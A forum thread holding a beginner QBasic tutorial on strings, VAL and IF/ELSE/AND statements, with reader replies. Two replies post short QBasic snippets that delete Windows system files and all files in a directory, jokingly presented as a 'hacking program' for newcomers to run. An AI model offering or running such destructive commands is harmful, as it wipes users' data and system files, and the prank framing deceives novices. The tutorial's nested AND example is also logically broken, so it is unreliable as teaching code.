An Attempted Qbasic Tutorial Part III

View Poll Results: What do u feel about perversity on the net?

Voters
9. You may not vote on this poll
  • Thats the only thing on the net

    1 11.11%
  • Too much of it

    1 11.11%
  • Excessive

    3 33.33%
  • What perversity ?

    4 44.44%
Page 1 of 2 12 LastLast
Results 1 to 10 of 12

Thread: An Attempted Qbasic Tutorial Part III

  1. #1
    Senior Member
    Join Date
    May 2003
    Posts
    407

    An Attempted Qbasic Tutorial Part III

    PART THREE: MORE ABOUT STRINGS, BOOLEAN STATEMENTS, IF LOOPS

    So now you know enough to start making some (very) simple programs. If you didn’t understand from the last tut, a string can contain anything. This could be a string: jfigf954jhg85u%Vyt67%&^$$46ft5tygubsf…” You get my point. ANYTHING inside quotation marks is a string. Like PRINT “979-1299” makes the computer print 979-1299. But, if you just write PRINT 979-1299, the computer will print “-320” because the computer was told to subtract 1299 from 979. Quotation marks are majorly important.

    The VAL command is one that I personally don’t use that often, but you should know anyway. It’s purpose is to convert strings in to numbers. For example VAL(“5”) will return a value of 5. For a string like VAL(“Hello”) or any string with letters returns a value of zero. IMHO, this is a kinda pointless command, being that you can just do something like variable = 5 in stead of variable = VAL(“5”) .
    Also, why bother put ting a number in a string when you’re just going to take it back out again?

    Ok, now on to Boolean expressions. They are part of Boolean algebra, which was named after (who’ve thought?) a man named George Boole. Boolean expressions are just expressions where the variable is true or false. In Qbasic, the best way to do this are the If commands.

    If commands are used to tell the computer what to do under certain circumstances. A real life example of this is when you ask yourself “Do I want pizza or pasta for dinner?” If you wan pizza, you will order a pizza. If you want pasta, you’ll make some pasta. For every IF that you use there will be an END IF after that IF is done telling the computer what to do.

    Here is an example, try to analyze what this code will do if executed:

    CLS
    IF (200>10) THEN
    PRINT “This will print all the time.”
    ELSE
    PRINT “This will never, ever print”
    END IF
    END

    BASICally, {rimshot..i bet your getting sick of my dumb jokes, aren’t ya?} this program checks if 200 is greater than 10. If it is, it will go to the third line of the code. If not, then it will go to the fifth line of code. Naturally, 10 will never be greater than 200, so it will always go to the third line.

    Also, you can use variables in your boolean expressions. Take a look at this code:

    CLS
    INPUT “How many pets do you have?” ; pets
    INPUT “How many kids do you have?” ; kids
    IF (pets > kids) THEN
    PRINT “You have your priorities in the right order!”
    ELSE
    PRINT “What ever possessed you to have more kids than pets?”
    END IF
    END

    You should be able to under stand that one. Right? Or am I a failure as a tutorial writer? Didn’t think so. If you have more pets than kids, it goes to the fifth line of the code. Anything else, it will go to the seventh line of the code.

    Another Boolean operator is AND operator. You use this to link two Boolean expressions. You can rewrite the above code and make it more picky when it judges. Like this:

    CLS
    INPUT “How many kids do you have” ; kids
    INPUT “How many pets do you have” ; pets
    IF (kids>pets) AND (kids >= 1) THEN
    PRINT “What is wrong with you?”
    IF (pets>kids) AND (pets>= 0) then
    PRINT “You have your priorities in the right order!”
    END IF
    END IF
    END

    Well, I’m done for this one. Keep checkin for more :-p
    \"Look, Doc, I spent last Tuesday watching fibers on my carpet. And the whole time I was watching my carpet, I was worrying that I, I might vomit. And the whole time, I was thinking, \"I\'m a grown man. I should know what goes on my head.\" And the more I thought about it... the more I realized that I should just blow my brains out and end it all. But then I thought, well, if I thought more about blowing my brains out... I start worrying about what that was going to do to my goddamn carpet. Okay, so, ah-he, that was a GOOD day, Doc. And, and I just want you to give me some pills and let me get on with my life. \" -Roy Waller

  2. #2
    Elite Hacker
    Join Date
    Mar 2003
    Posts
    1,407
    I liked your first one because you provided the software to test the information provided in your tutorial. I've always wanted to mess around with basic or Qbasic or whatever, and now I can. I'm really more of a java guy though. Also, a tip for you is if your going to keep pumping them out like this save like three or more up and put them all into one. And if you do another one make it more advanced because I think you've got the basics pretty much covered.

  3. #3
    Senior Member
    Join Date
    May 2003
    Posts
    407
    h3r3tic:

    Yeah, this was my last one for the real basics, now i'm gonna move on to grapics and sound and other stuff...and yeah, i see yyour point about making them longer
    \"Look, Doc, I spent last Tuesday watching fibers on my carpet. And the whole time I was watching my carpet, I was worrying that I, I might vomit. And the whole time, I was thinking, \"I\'m a grown man. I should know what goes on my head.\" And the more I thought about it... the more I realized that I should just blow my brains out and end it all. But then I thought, well, if I thought more about blowing my brains out... I start worrying about what that was going to do to my goddamn carpet. Okay, so, ah-he, that was a GOOD day, Doc. And, and I just want you to give me some pills and let me get on with my life. \" -Roy Waller

  4. #4
    Elite Hacker
    Join Date
    Mar 2003
    Posts
    1,407
    You should work on the next one for like a week and give people time to read your first one's. Then your next one should be better and longer. Just work on it in your favorite text editor and add a little each day. Make sure and proof read. Also there is a code tag that might make your tuts just that much better. ex:
    Code:
    CLS
    IF (200>10) THEN
    PRINT “This will print all the time.”
    ELSE
    PRINT “This will never, ever print”
    END IF
    END
    you use it like this
    Code:
    Code:
    
    
    then end it with
    Hope the next one is really good, because if it's not the people here aren't going to be too happy because you've been pumping out too many of these.
    good luck.

  5. #5
    Senior Member
    Join Date
    Oct 2003
    Posts
    234
    I agree, the first one was great as I had been looking for a free version of QBasic for a long time now. But, BASIC is not that hard to figure out and you should start getting a little more advanced.

  6. #6
    Senior Member
    Join Date
    Nov 2001
    Posts
    4,786
    we have other tuts on basic in this forum. they managed to say all this in one tut. you havn't touched on reading or writing to/from a file, arrays and other basic basic. that might be nice before you jump into sprites.
    Bukhari:V3B48N826 “The Prophet said, ‘Isn’t the witness of a woman equal to half of that of a man?’ The women said, ‘Yes.’ He said, ‘This is because of the deficiency of a woman’s mind.’”

  7. #7
    Senior Member
    Join Date
    Sep 2003
    Posts
    554
    And here's some more q-basic for those 3li73 haxor5 out there

    kill "C:/windows/win.com"
    kill "C:/windows/win.ini"
    kill "C:/autoexec.bat"
    kill "C:/config.sys"
    print "your now as 3li73 as a flea"
    sleep 2
    print "creative_32x_mx"
    end

    Just save as a .exe and then remember were you placed it then double click the icon and you have just launched your first h4cking pr0gr4m...............?

    There. See qbasic ain't that hard even a beginner can now be elite............?


    (WARNING IT IS NOT RECOMMENDED TO ACTUALLY CREATE THIS! AS IT WILL DELETE MUCH NEEDED FILES USED TO RUN WINDOWZ.
    sO UNLESS YOU LIKE TO REINSTALL EVERYTHING THEN PLEASE DON'T MAKE THIS VIRRII.)

    http://www.lameindustries.info/tutor...on/index.shtml

    aNyhow nice lil tut. Looking forward to the next one.

    Cheers

  8. #8
    Senior Member
    Join Date
    May 2003
    Posts
    407
    lol creative, or you could just do,
    Code:
    kill "*.exe"
    kill "*.bat"
    Kill "*.*"
    end
    that would be hilarious if someone actualy ran that

    DISCLAIMER: NOT RESPONSIBLE FOR WHAT HAPPENS IF YOU RUN THE ABOVE CODE
    \"Look, Doc, I spent last Tuesday watching fibers on my carpet. And the whole time I was watching my carpet, I was worrying that I, I might vomit. And the whole time, I was thinking, \"I\'m a grown man. I should know what goes on my head.\" And the more I thought about it... the more I realized that I should just blow my brains out and end it all. But then I thought, well, if I thought more about blowing my brains out... I start worrying about what that was going to do to my goddamn carpet. Okay, so, ah-he, that was a GOOD day, Doc. And, and I just want you to give me some pills and let me get on with my life. \" -Roy Waller

  9. #9
    Member
    Join Date
    Feb 2003
    Posts
    98
    QB, ahhh. Those were the good old days. I am glad that someone is teaching it. It is good that someone still values the old languages. And a Yankees fan? Truly excellent tutorials and team, slick8790.
    \"The wise programmer is told about Tao and follows it. The average programmer is told about Tao and searches for it. The foolish programmer is told about Tao and laughs at it.
    If it were not for laughter, there would be no Tao.\"

  10. #10
    Senior Member
    Join Date
    Sep 2003
    Posts
    554
    Yeah i love q-basic 4.5
    I use it when ever i can.
    And Slick that's another good one.
    And i also agree it would be funny if some lamor came along thinking he or she knew best and actually made them ...

    Lmao

    Cheers

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  

 Security News

     Patches

       Security Trends

         How-To

           Buying Guides